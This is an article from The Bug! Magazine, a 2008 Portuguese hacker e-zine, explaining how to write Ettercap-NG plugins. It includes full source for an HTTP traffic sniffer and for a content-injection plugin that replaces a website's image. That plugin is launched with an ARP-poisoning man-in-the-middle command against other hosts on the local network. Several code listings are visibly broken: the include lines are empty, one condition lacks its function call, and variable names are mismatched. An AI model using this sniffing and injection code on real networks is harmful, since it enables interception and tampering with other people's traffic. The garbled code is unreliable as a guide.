[ --- The Bug! Magazine _____ _ ___ _ /__ \ |__ ___ / __\_ _ __ _ / \ / /\/ '_ \ / _ \ /__\// | | |/ _` |/ / / / | | | | __/ / \/ \ |_| | (_| /\_/ \/ |_| |_|\___| \_____/\__,_|\__, \/ |___/ [ M . A . G . A . Z . I . N . E ] [ Numero 0x03 <---> Edicao 0x01 <---> Artigo 0x05 ] .> 05 de Maio de 2008, .> The Bug! Magazine < staff [at] thebugmagazine [dot] org > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Desenvolvendo Plugins para o Ettercap-NG +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ .> Maycon Maia Vitali < mayconmaia [at] yahoo [dot] com [dot] br > < http://maycon.gsec.com.br > [ --- Indice + 1. <---> Introducao + 2. <---> Bibliotecas necessarias + 3. <---> Registrando o Plugin e definido as rotinas de callback + 4. <---> Rotinas de leitura/escrita + 5. <---> Compilando e testando + 6. <---> Informacoes do globais + 7. <---> Macros pre-definidas + 8. <---> Aplicando hooks de protocolos + 9. <---> Trabalhando com Filter Engine + 10. <---> Caso de uso (plugin html_replace) + 11. <---> Conclusao [ --- 1. Introducao Existem diversas ferramentas para se manipularem informacoes na rede. Desde sniffers, passando por detectores e intrusos e ferramentas de ataque. O Ettercap consiste em um programa capaz de juntar diversas funcionalidades de seguranca de rede em uma unica ferramenta. Porem isto nao para por ai. O Ettercap possui a capacidade de desenvolvimento de plugins, de maneira que suas funcionalidades seja expandidas. Este texto descreve os passos necessarios e procura dar um ebasamento sobre o processo de construcao de plugins para o Ettercap. Visto que nao pretendo passar toda as funcoes fornecidas pela aplicacao. Qualquer duvida, consulte o source. Digo o source, pois esta documentacao esta mais completa que a propria documentacao do ettercao. [ --- 2. Biblioteca necessarias #include Das dezenas de bibliotecas fornecidas pelo Ettercap, a unica realmente necessaria e a , pois ela fornece a estrutura plugin_ops utilizada para armazenar as informacoes e rotinas de callback do plugin e a propria rotina plugin_register() utilizada para registar um plugin junto ao Ettercap (Topico 3). #include Esta biblioteca nos fornece principalmente as informacoes globais do ambiente do Ettercap no instante em que o plugin esta sendo executado. Ela quem faz referencia as demais bibliotecas externas (como unistd.h) e alem disto ela possui uma diversidade de macros e definicoes para facilitar a escrita dos plugins. Algumas definicoes dos codigos das cores no padrao C ANSI (somente Linux e familia) EC_COLOR_END EC_COLOR_BOLD EC_COLOR_RED EC_COLOR_YELLOW EC_COLOR_GREEN EC_COLOR_BLUE EC_COLOR_CYAN Codigos das cores no padrao C ANSI (Somente Linux e familia) #include Se seu plugin necessita capturar pacotes da rede em algum protocolo especifico, esta biblioteca sera necessaria. Ela contem as implementacoes necessarias para se aplicar um hook (gancho) nas rotinas de captura de pacotes do motor principal do Ettercap, deixando o programador completamento livre de utilizar outras bibliotecas como 'libpcap'. #include Esta biblioteca deve ser inserido quando e' necessario fazer a manipulacao de pacotes. Ela possui a estrutura utilizada como parametros nas rotinas registradas como gancho (hook) do sniffer do Ettercap. Esta estrutura e' a 'packet_object' e sera melhor detalhada no topico que fala de hook de protocolos. [ --- 3. Registrando o Plugin e definido as rotinas de callback Se voce ja tiver alguma familiaridade em desenvolver LKM's ou Device Drivers, ja esta bastante familiarizado com o processo de registro de rotinas de callback. Todo plugin deve possuir uma funcao plugin_load, cuja sintaxe segue abaixo: -------------------------------------------------------------------------------- int plugin_load(void *handle) { return 1; } -------------------------------------------------------------------------------- Esta funcao basicamente precisa registrar as rotinas de init e finish do plugin em desenvolvimento. A funcao citada e' a plugin_register() e ela possui dois parametros: o handle passado como parametro no plugin_load() e a estrutura 'plugin_ops' que armazena as informacoes do plugin. Segue a estrutura 'plugin_ops' com cada campo comentado: -------------------------------------------------------------------------------- struct plugin_ops dos_attack_ops = { ettercap_version: EC_VERSION, name: "cookie_sniffer", info: "Pega os cookies do protocolo HTTP", version: "1.0", init: &cookie_sniffer_init, fini: &cookie_sniffer_fini, }; -------------------------------------------------------------------------------- ettercap_version: Contem uma estrutura com as informacoes da versao do ettercap onde o plugin foi compilado. Para utilizar a versao atual coloque a variavel global (em 'ec.h') EC_VERSION que define a versao do ettercap. name: Nome do plugin que aparecera quando pressionar a tecla 'p' no modo texto do ettercap e no menu plugin quando estiver trabalhando com a interface grafica dele. info: Uma cadeia de caractere que armazena as informacoes do plugin. Este campo geralmente aparece junto com a informacao 'name'. version: A versao do seu plugin. init: Rotina de callback que sera chamado quando seu plugin for inicializado. [ --- 4. Rotinas de leitura/escrita As vezes necessitamos escrever alguma coisa para o usuario ou simplesmente ler uma informacao do teclado. Poderiamos simplesmente utilizar as funcoes ja conhecidas como printf() scanf() e familia. Porem o ettercap possui alguns modos como quiet (que nao imprime muita informacao na tela) e ate' mesmo trabalha com interface grafica. Para resolver este impasso existe algumas funcoes definidas que abstrai o ambiente do usuario. Vejamos: USER_MSG() Envia uma mensagem para o usuario com a mesma sintaxe de um printf() porem necessita a autorizacao (nao quiet) do usuario ser impresso na tela no imediato momento em que ela foi chamada. INSTANT_USER_MSG() Semelhante a funcao anterior, porem a informacao e' enviada imediatamento para o usuario. ui_input() Esta funcao e' utilizada para ler informacoes do usuario. Ela possui 4 parametros de acordo com a sintaxe abaixo: -------------------------------------------------------------------------------- void ui_input( const char *title, //- Titulo que sera impresso char *input, //- Variavel que sera lida size_t n, //- Tamanho da variavel lida void (*callback)(void) //- Rotia que devera ser chamda com o //- buffer completo (utilizado para //- controle de logs ) -------------------------------------------------------------------------------- Poderiamos ja ter um plugin funcional com o seguinte conteudo: ---[ ettercap_hello.c ]--------------------------------------------------------- /** * Plugin de exemplo para Ettercap. * Por Maycon Maia Vitali * Para tutorial de escrita de plugins para ettercal * * ( http://maycon.gsec.com.br ) * ( mayconmaia@yahoo.com.br ) * */ #include #include #include #include int plugin_load(void *handle); int func_init( void *dummy ); int func_fini( void *dummy ); struct plugin_ops hello_ops = { ettercap_version: EC_VERSION, name: "hello_world", info: "Hello World", version: "0.0", init: &func_init, fini: &func_fini, }; int plugin_load(void *handle) { return plugin_register(handle, &hello_ops); } char cNome[20]; int func_init( void *dummy ) { INSTANT_USER_MSG("Ola Mundo!\n"); ui_input("Qual o seu nome? ", cNome, sizeof(cNome) - 1, NULL); INSTANT_USER_MSG("Ola %s :)\n", cNome); return PLUGIN_RUNNING; } int func_fini( void *dummy ) { INSTANT_USER_MSG("Tchau %s :(\n", cNome); return PLUGIN_FINISHED; } ----------------------------------------------------------------------[ End ]--- Uma coisa muito importante a falar e o fato das funcoes retornarem as constantes predefinidas PLUGIN_RUNNING e PLUGIN_FINISHED. Para se ter uma ideia, se nao tivessemos colocar o retorno PLUGIN_RUNNING na funcao de inicializacao o plugin nao ficaria residente, ou seja, iniciaria e ja terminaria (sem executar a funcao de finalizacao). [ --- 5. Compilando e testando Os plugins do ettercap sao compilados como bibliotecas compartilhadas ( ou shared libraries ), entao a compilacao nao possui nenhum parametro fora do comum para estes aplicativos, somente a definicao de onde estao os arquivos de bibliotecas do ettercap (-I). Para simplificar o trabalho, escrevi um Makefile simples para compilar nosso exemplo ( ettercap_hello.c ), segue: ---[ Makefile ]----------------------------------------------------------------- ### ## Makefile para compilacao do plugin hello_world do ettercap ## Escrito por Maycon Maia Vitali para tutorial ## ( http://maycon.gsec.com.br ) ## ( mayconmaia@yahoo.com.br ) ### CC=/usr/bin/gcc ETTERCAP_DIR=/home/noroot/b0x/codes/networking/ettercap-NG-0.7.3 GCC_LIBTOOL_PARAM=-pthread -rpath /usr/local/lib/ettercap -module -avoid-version all:hello_world hello_world: ${CC} -DHAVE_CONFIG_H -fPIC -DPIC -I${ETTERCAP_DIR}/include -c \ -o hello_world.o hello_world.c ${CC} -shared -pthread -Wl,-soname -Wl,ec_hello_world.o \ -o ec_hello_world.so hello_world.o ${ETTERCAP_DIR}/libtool --mode=link gcc ${GCC_LIBTOOL_PARAM} \ -o ec_hello_world.la install: cp ec_hello_world.so /usr/local/lib/ettercap/ cp ec_hello_world.la /usr/local/lib/ettercap/ clean: rm -rf ec_hello_world.la hello_world.o ec_hello_world.so ----------------------------------------------------------------------[ End ]--- Salve o Makefile no mesmo diretorio do plugin e em sequida execute 'make' e como root 'make install'. O Makefile criado cria a biblioteca com os dois comandos executados inicial- mente e em seguida utiliza um script fornecido com o ettercap para gerar um arquivo ec_hello_world.la com as informacoes do plugin como nome da biblioteca, versao, dependencias e alguns flags adicionais. Qualquer duvida edite o arquivo ec_hello_world.la e veja seus comentarios. Bem, feito isto agora basta testar para saber se o plugin criado foi linkado corretamente ao ettercap. *Foram removido dos logs algumas informacoes nao que nao implicaria na explicacao do funcionamento): ---[ Shell Log ]---------------------------------------------------------------- hacklab # ettercap -Tq ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA Listening on eth0... (Ethernet) eth0 -> 00:C0:9F:BA:BA:CA 192.168.254.1 255.255.255.0 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Privileges dropped to UID 65534 GID 65534... 1 plugins [ removido ] Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help [ Pressione P ] Available plugins : [0] hello_world 0.0 Hello World <---- Nosso plugin Plugin name (0 to quit): hello_world <-- Digite o nome dele Activating hello_world plugin... Ola Mundo! Qual o seu nome? 0ut0fBound <-- Digite seu nome Ola 0ut0fBound :) [ Pressione P ] Available plugins : [1] hello_world 0.0 Hello World Plugin name (0 to quit): hello_world <--- Digite novamente o nome do plugin Deactivating hello_world plugin... Tchau 0ut0fBound :( <-- Funcao de termino dele [ Pressione Q de 'quit' ] Closing text interface... Unified sniffing was stopped. hacklab # ----------------------------------------------------------------------[ End ]--- Agora que ja sabemos como escrever, compilar e testar plugins para o ettercap podemos nos aventurar a fazer coisas interessante e plugins realmente uteis para o cotidiano. [ --- 6. Informacoes do globais Quando nossos plugins sao carregados, o ettercap dispoe de diversar informacoes para nos auxiliar, como os parametros passados, a lista de hosts encontradas (para main-in-the-middle), alguma regra do ambiente atual, etc. Essas definicoes estao contidas no arquivos ec_globals.h e todas elas estao em uma estrutura enorme chamada 'globals'. Porem existe uma macro para cada uma delas com o nome do formato GBL_*. Uma variavel global ja foi utilizada, no caso a variavel GBL_VERSION que pega a versao atual do ettercap. Ela fui utilizada para registro do nosso plugin na estrutura plugin_ops. Vejamos uma listagem de algumas variaveis e o que representam, sendo que elas sao acessadas como GBL_OPTIONS->write: GBL_OPTIONS: Armazena as opcoes passadas como parametro no ettercap. char write:1 -> Se esta escrevendo em um arquivo pcap char read:1 -> Se esta lendo os pacotes de um arquivo pcap char quiet:1 -> Se esta em quiet mode (respeite essas regras) char mitm:1 -> Se foi feito man-in-the-middle com a opcao -M no ettercap char *pcapfile_in -> Arquivo *.pcap de onde esta lendo o trafego char *pcapfile_out -> Arquivo *.pcap aonde esta sendo gravado o trafego GBL_HOSTLIST: Armazena a lista de hosts que esta no ambiente do ettercap. Esta lista de hosts e' obtida quando e' passado algum alvo para o ettercap. Este hostliste e' uma lista encadeada que sera facilmente manipulavel por algumas macros pre-definidas (proxima sessao). Cada item da lista possui a seguinte estrutura: -------------------------------------------------------------------------------- /* scanned hosts list */ struct hosts_list { struct ip_addr ip; // Endereco IP u_char mac[MEDIA_ADDR_LEN]; // Endereco MAC char *hostname; // Hostname LIST_ENTRY(hosts_list) next; // Proximo }; -------------------------------------------------------------------------------- Alem destas variaveis, diversas outras sao fornecidas, qualquer duvida consulte o arquivo ec_globals.h que possui todas as variaveis comentadas. [ --- 7. Macros pre-definidas Diversas macros sao definidas para auxiliar a escrita de plugins, nesta sessao vamos ver algumas delas, porem isso nao inibe o leitor a ler os arquivos de include do ettercap e analizar as demais macros. Macros de alocacao de memoria: SAFE_CALLOC(x, n, s): semalhante a funcao calloc() SAFE_REALLOC(x, s): semelhante a funcao realoc() SAFE_FREE(x): semelhante a funcao free() Macro para tratamento de bits (utilizado muito nas flags): BIT_SET(r,b): Seta o bit b de r BIT_RESET(r,b): Reseta o bit b de r BIT_TEST(r,b): Testa se o bit b de r esta ativo, retornando verdadeiro BIT_NOT(r,b): Inverte o bit b de r Macros min/man: MIN(a,b): Retorna o menor valor entre a e b. MAX(a,b): Retorna o maior valor entre a e b. Operacoes para listas simplesmente-encadeadas (Singly-Linked List): SLIST_FIRST(head): Retorna o primeiro elemento da lista SLIST_END(head): Retorna o finalizador de lista (NULL) SLIST_EMPTY(head): Verifica se a lista esta vazia SLIST_NEXT(head,field): Retorna o proximo elemento da lista do tipo field SLIST_FOREACH(var,head,field): cria um repeticao retornando sempre o proximo campo do tipo field da lista head em var. SLIST_INSERT_HEAD(head, elm, field): Insere o registrp elm do tipo field no inicio da lista head SLIST_REMOVE_HEAD(head,field): Remove o primeiro registro (field) da lista head. Esta sao apenas algumas das diversas macros fornecidas pelo ettercap, as demais macros que trabalham com listas podem ser obtidas no arquivo ec_queue.h. Nos demais arquivos ainda possui outras macros bastante interessantes. Se formos utilizar alguma no decorrer do restante do texto sera explicada sua funcionalidade. [ --- 8. Aplicando hooks de protocolos De nada adiantaria criar plugins para o ettercap se nao conseguissemos capturar e manipular as informacoes trafegadas pela rede. O ettercap possui diversas listas de rotinas de tratamento dos protocolos. Estas listas estao ligadas entre si em alguma caracteristica em comum como um protocolo ou uma camada especifica. O ettercap nos fornece duas funcoes que nos permite adicionar itens nesta lista de rotinas, de maneira que possamos registar funcoes em nosso plugins que serao chamadas com as informacoes de uma pacote (protocolo, frame, etc) especifico. Estas funcoes sao hood_add() e hood_del() com os seguintes prototipos: -------------------------------------------------------------------------------- void hood_add( int point, void (*func)(struct packet_object *po) ); int hood_del( int point, void (*func)(struct packet_object *po) ): -------------------------------------------------------------------------------- O parametro point indica em que ponto dos protocolos estamos querendo fazer o hook, ou seja, e' uma definicao em ec_hook.h que determina em qual lista nossa funcao sera adicionada. Algumas definicoes para o parametro point sao: - HOOK_RECEIVED: O pacote puro (raw packet) - HOOK_PACKET_ARP: Pacotes ARP (Address Resolution Protocol) - HOOK_PACKET_IP : Pacotes IP (Internet Protocol) - HOOK_PACKET_TCP: Pacotes TCP (Transmision Control Protocol) - HOOK_PACKET_UDP: Pacotes UDP (User Datagram Protocol) - HOOK_PROTO_DNS : Hook no protocolo DNS - HOOK_PROTO_HTTP: Hook no protocolo HTTP O parametro (*func)(struct packet_object *po) define qual funcao nossa sera utilizada no hook, dentro dela a necessidade de possuir um parametro com um ponteiro para uma estrutura do tipo packet_object. A estrutura packet_object armazena todas as informacoes do pacote atual como as 4 camadas: Eth em L2, IP em L3, TCP em L4 e aplicacao em DATA, ou seja, se quizermos saber a porta de destino do pacote recebido basta acessar *po->L4.dst e se quizermos acessar as informacoes passadas na camada de aplicacao devemos acessar *po->DATA.data. Para uma visao mais detalhada da estrutura packet_object veja ela no arquivo ec_packet.h no diretorio include do ettercap. Para testes vamos pegar nosso plugin de hello_world e iremos criar um plugin de http_sniffer, criando um hook no protocolo HTTP e imprimindo todos os dados que forem passados para nossa funcao. Veja o codigo exemplo: ---[ http_sniff.c ]------------------------------------------------------------- /** * Plugin de exemplo para Ettercap que captura os dados HTTP * Por Maycon Maia Vitali * Para tutorial de escrita de plugins para ettercap * * ( http://maycon.gsec.com.br ) * ( mayconmaia@yahoo.com.br ) * */ #include #include #include #include // Prototipos int plugin_load(void *handle); int http_sniff_init( void *dummy ); int http_sniff_fini( void *dummy ); void sniff_http(struct packet_object *po); /** * Estrutura de registro do plugin */ struct plugin_ops http_sniff_ops = { ettercap_version: EC_VERSION, name: "http_sniff", info: "Simples Sniffer HTTP", version: "0.1", init: &http_sniff_init, fini: &http_sniff_fini, }; /** * Funcao de inicializacao */ int plugin_load(void *handle) { //- Registra nosso plugin return plugin_register(handle, &http_sniff_ops); } /** * Funcao de callback de inicializacao do plugin */ int http_sniff_init( void *dummy ) { //- Aplica o hook no protocolo HTTP hook_add(HOOK_PROTO_HTTP, &sniff_http); //- Informa ao usuario da inicializacao do plugin INSTANT_USER_MSG("[+] Sniffer HTTP inicializado.\n"); //- Mantem o plugin resident return PLUGIN_RUNNING; } /** * Funcao de callback de finalizacao do plugin */ int http_sniff_fini( void *dummy ) { //- Deleta o hook registrado hook_del(HOOK_PROTO_HTTP, &sniff_http); //- Avisa ao usuario que o plugin foi desativado INSTANT_USER_MSG("[+] Sniffer HTTP finalizado.\n"); //- Finaliza o plugin return PLUGIN_FINISHED; } /** * Rotina utilizada no hook do protocolo HTTP */ void sniff_http(struct packet_object *po) { //- Imprime as informacoes do protocolo HTTP INSTANT_USER_MSG("%s", po->DATA.data); INSTANT_USER_MSG("------------------------------------------------\n"); } ----------------------------------------------------------------------[ End ]--- E segue o Makefile para sua compilacao e instalacao, no mesmo padrao que o plugin hello_world ---[ Makefile ]----------------------------------------------------------------- ### ## Makefile para compilacao do plugin http_sniff do ettercap ## Escrito por Maycon Maia Vitali para tutorial ## ( http://maycon.gsec.com.br ) ## ( mayconmaia@yahoo.com.br ) ### CC=/usr/bin/gcc ETTERCAP_DIR=/home/noroot/b0x/codes/networking/ettercap-NG-0.7.3 GCC_LIBTOOL_PARAM=-pthread -rpath /usr/local/lib/ettercap -module -avoid-version all:http_sniff http_sniff: ${CC} -DHAVE_CONFIG_H -fPIC -DPIC -I${ETTERCAP_DIR}/include -c \ -o http_sniff.o http_sniff.c ${CC} -shared -pthread -Wl,-soname -Wl,ec_http_sniff.o \ -o ec_http_sniff.so http_sniff.o ${ETTERCAP_DIR}/libtool --mode=link gcc ${GCC_LIBTOOL_PARAM} \ -o ec_http_sniff.la install: cp ec_http_sniff.so /usr/local/lib/ettercap/ cp ec_http_sniff.la /usr/local/lib/ettercap/ clean: rm -rf ec_http_sniff.la http_sniff.o ec_http_sniff.so ----------------------------------------------------------------------[ End ]--- Uma coisa muito importante a ressaltar esta no fato de cada pacote ter um campo de flags e, um dos flags mais importantes set o PO_MODIFIED que deve ser setado caso seja alterado alguma informacao no pacote, isto para que o proprio ettercap recalcule o checksum das camadas que o necessitam para, em seguida retransmitir para o destino ( no caso de man-in-the-middle ): -------------------------------------------------------------------------------- po->flags =| PO_MODIFIED; -------------------------------------------------------------------------------- [ --- 9. Trabalhando com Filter Engine O ettercap possui um recurso muito interessante chamado de filters. Este recurso consiste em um conjunto de operacoes que podem ser aplicada a um determinado pacote. Dentre estas informacoes temos a execucao de funcoes como FFUNC_REPLACE, FFUNC_SEARCH, FFUNC_INJECT, FFUNC_DROP, etc. Temos tambem operacoes de testes como FTEST_EQ(=), FTEST_NEQ(!=), FTEST_LT(<), FTEST_GT(>), FTEST_LEQ(<=) e FTEST_GEQ(>=). As funcoes da Filter Engine sao chamadas atravez da funcao filter_engine(): int filter_engine(struct filter_op *fop, struct packet_object *po); A variavel struct packet_object deve ser o pacote passado como parametro para algumas das funcoes de hook e a estrutura filter_op consiste em um vetor com a seguinte estrutura: -------------------------------------------------------------------------------- struct filter_op { char opcode; /* * the first two field of the structs (op and level) must * overlap the same memory region. it is abused in ef_encode.c * encoding a function that uses an offset as an argument */ union { /* functions */ struct { char op; u_int8 level; u_int8 *string; size_t slen; u_int8 *replace; size_t rlen; struct regex_opt *ropt; } func; /* tests */ struct { u_int8 op; u_int8 level; u_int8 size; u_int16 offset; u_int32 value; u_int8 *string; size_t slen; } test, assign; /* jumps */ u_int16 jmp; } op; }; -------------------------------------------------------------------------------- O importante ressaltar e que, de acordo com o opcode passado, os parametros da operacao devem estar na respectiva estrutura das 'unions'. Um exemplo comumente utilizado seria a funcao REPLACE para substituir algum conteudo dos dados, no casso do protocolo HTTP, substituir alguma coisa no HTML. Como o parametro filter_op passado pela funcao filter_engine() consiste em um vetor, ele precisa ser finalizado. Ao inves de finaliza-lo como de costume como vetores em C, este vetor deve ser finalizado com a operacao FOP_EXIT. Um exemplo de um vetor do tipo filter_op para substituir o texto Google por Googl3 seria: -------------------------------------------------------------------------------- char replace_from[] = "Google"; char replace_top[] = "Googl3"; struct filter_op fop[] = {{ // aplica um replace em DATA->data opcode : FOP_FUNC, op : { func: { op : FFUNC_REPLACE, string : replace_from, slen : strlen(replace_from), replace : replace_to, rlen : strlen(replace_to) } } }, { //- Fim das opecacoes opcode: FOP_EXIT }}; filter_engine(&fop, po); -------------------------------------------------------------------------------- Se voce entrar na pagina do google com esse plugin carregado as palavras google nao serao substituidas, isto porque a pagina vem com chunked gzip, ou seja, compactada. Para funcionar corretamente, seria necessario desenvolver ou pegar pronto um decoder. Nao tenho certesa se o ettercap ja possui esta implementacao, qualquer duvida 'look the code'. Uma outra alternativa seria alterar o pacote enviado substituindo o cabecalho e forcando o servidor a nao nos enviar compactado. [ --- 10. Caso de uso (plugin html_replace) Como escrevi este artigo inicialmente para a The Bug Magazine!, nada melhor do que fazer uma 'brincadeira'. Existe uma ferramenta chamada airpwn que substitui as imagens de uma pagina por alguma imagem definida. Tinha alguns espertinhos brincando com essa ferramenta no III H2HC, me lembro da pagina da rfdslabs ownada localmente pelas frases VUGO. Escrevi um plugin que sobrescreve uma imagem especificada por outra imagem qualquer ( no caso a do chucky ). Segue seu codigo completo: ---[ hack_tbm.c ]--------------------------------------------------------------- /** * Plugin de exemplo para Ettercap que substitui uma informacao no HTML * Por Maycon Maia Vitali * Para tutorial de escrita de plugins para ettercap * Greetz: hophet / Sandimas / The Bug Magazine! * * ( http://maycon.gsec.com.br ) * ( mayconmaia@yahoo.com.br ) * */ #include #include #include #include #include // Prototipos int plugin_load(void *handle); int hack_tbm_init( void *dummy ); int hack_tbm_fini( void *dummy ); void sniff_http(struct packet_object *po); /** * Estrutura de registro do plugin */ struct plugin_ops hack_tbm_ops = { ettercap_version: EC_VERSION, name: "hack_tbm", info: "Simples Replace em HTTP (Hack The Bug Magazine!)", version: "0.1", init: &hack_tbm_init, fini: &hack_tbm_fini, }; /** * Funcao de inicializacao */ int plugin_load(void *handle) { //- Registra nosso plugin return plugin_register(handle, &hack_tbm_ops); } /** * Funcao de callback de inicializacao do plugin */ int hack_tbm_init( void *dummy ) { //- Aplica o hook no protocolo HTTP hook_add(HOOK_PROTO_HTTP, &sniff_http); //- Informa ao usuario da inicializacao do plugin INSTANT_USER_MSG("Plugin inicializado\n"); //- Mantem o plugin residente return PLUGIN_RUNNING; } /** * Funcao de callback de finalizacao do plugin */ int hack_tbm_fini( void *dummy ) { //- Deleta o hook registrado hook_del(HOOK_PROTO_HTTP, &sniff_http); //- Avisa ao usuario que o plugin foi desativado INSTANT_USER_MSG("Plugin finalizado.\n"); //- Finaliza o plugin return PLUGIN_FINISHED; } /** * Rotina utilizada no hook do protocolo HTTP */ void sniff_http(struct packet_object *po) { char replace_from[] = "images/index-thebug.jpg"; char *replace_to = "http://www.sfondideldesktop.com/" "Images-Movies/Chucky/Chucky-0002/Chucky-0002.jpg"; //- Operacoes do Filter Enginer struct filter_op fop[] = {{ // aplica um replace em DATA->data opcode : FOP_FUNC, op : { func: { op : FFUNC_REPLACE, string : replace_from, slen : strlen(replace_from), replace : replace_to, rlen : strlen(replace_to) } } }, { //- Fim das opecacoes opcode: FOP_EXIT }}; //- Substituindo se encontrou if ((po->DATA.data, "images/business.gif") != NULL) { filter_engine(&fop, po); } } ----------------------------------------------------------------------[ End ]--- E o respectivo Makefile: ---[ Makefile ]----------------------------------------------------------------- ### ## Makefile para compilacao do plugin hack_tbm do ettercap ## Escrito por Maycon Maia Vitali para tutorial ## ( http://maycon.gsec.com.br ) ## ( mayconmaia@yahoo.com.br ) ### CC=/usr/bin/gcc ETTERCAP_DIR=/home/noroot/b0x/codes/networking/ettercap-NG-0.7.3 GCC_LIBTOOL_PARAM=-pthread -rpath /usr/local/lib/ettercap -module -avoid-version all:hack_tbm hack_tbm: ${CC} -DHAVE_CONFIG_H -fPIC -DPIC -I${ETTERCAP_DIR}/include -c \ -o hack_tbm.o hack_tbm.c ${CC} -shared -pthread -Wl,-soname -Wl,ec_hack_tbm.o \ -o ec_hack_tbm.so hack_tbm.o ${ETTERCAP_DIR}/libtool --mode=link gcc ${GCC_LIBTOOL_PARAM} \ -o ec_hack_tbm.la install: cp ec_hack_tbm.so /usr/local/lib/ettercap/ cp ec_hack_tbm.la /usr/local/lib/ettercap/ uninstall: rm -rf /usr/local/lib/ettercap/ec_hack_tbm.so rm -rf /usr/local/lib/ettercap/ec_hack_tbm.la clean: rm -rf ec_hack_tbm.la hack_tbm.o ec_hack_tbm.so -------------------------------------------------------------------------------- Para testar digite: $ make E com root: # make install Em seguinte inicie o ettercap fazendo main-in-the-middle e ativante o plugin: # ettercap -Tq -M arp -P hack_tbm // E para ver o resultado acessem http://www.thebugmagazine.org de outra maquina na mesma rede ( nao quer fazer man-in-the-middle em voce mesmo! ). Assim poderia ver o plugin em funcionamento. [ --- 11. Conclusao Este e o primeiro texto que escrevo sem o auxilio de outros, creio que nao encontrara nenhum material tao completo de escrita de plugins para o ettercap, visto que a propria documentacao do /doc nao abrange tao claramente isto. Gostaria de lembrar que este texto nao demostrou todos os aspectos e muito menos explorou todas as funcionalidades do ettercap, ele ainda pode gerar pacotes, utilizar PCRE (Perl Compatible Regular Expressions) no 'Filter Enginer' entre outras coisas. Nao se esqueca: Qualquer duvida, look the code!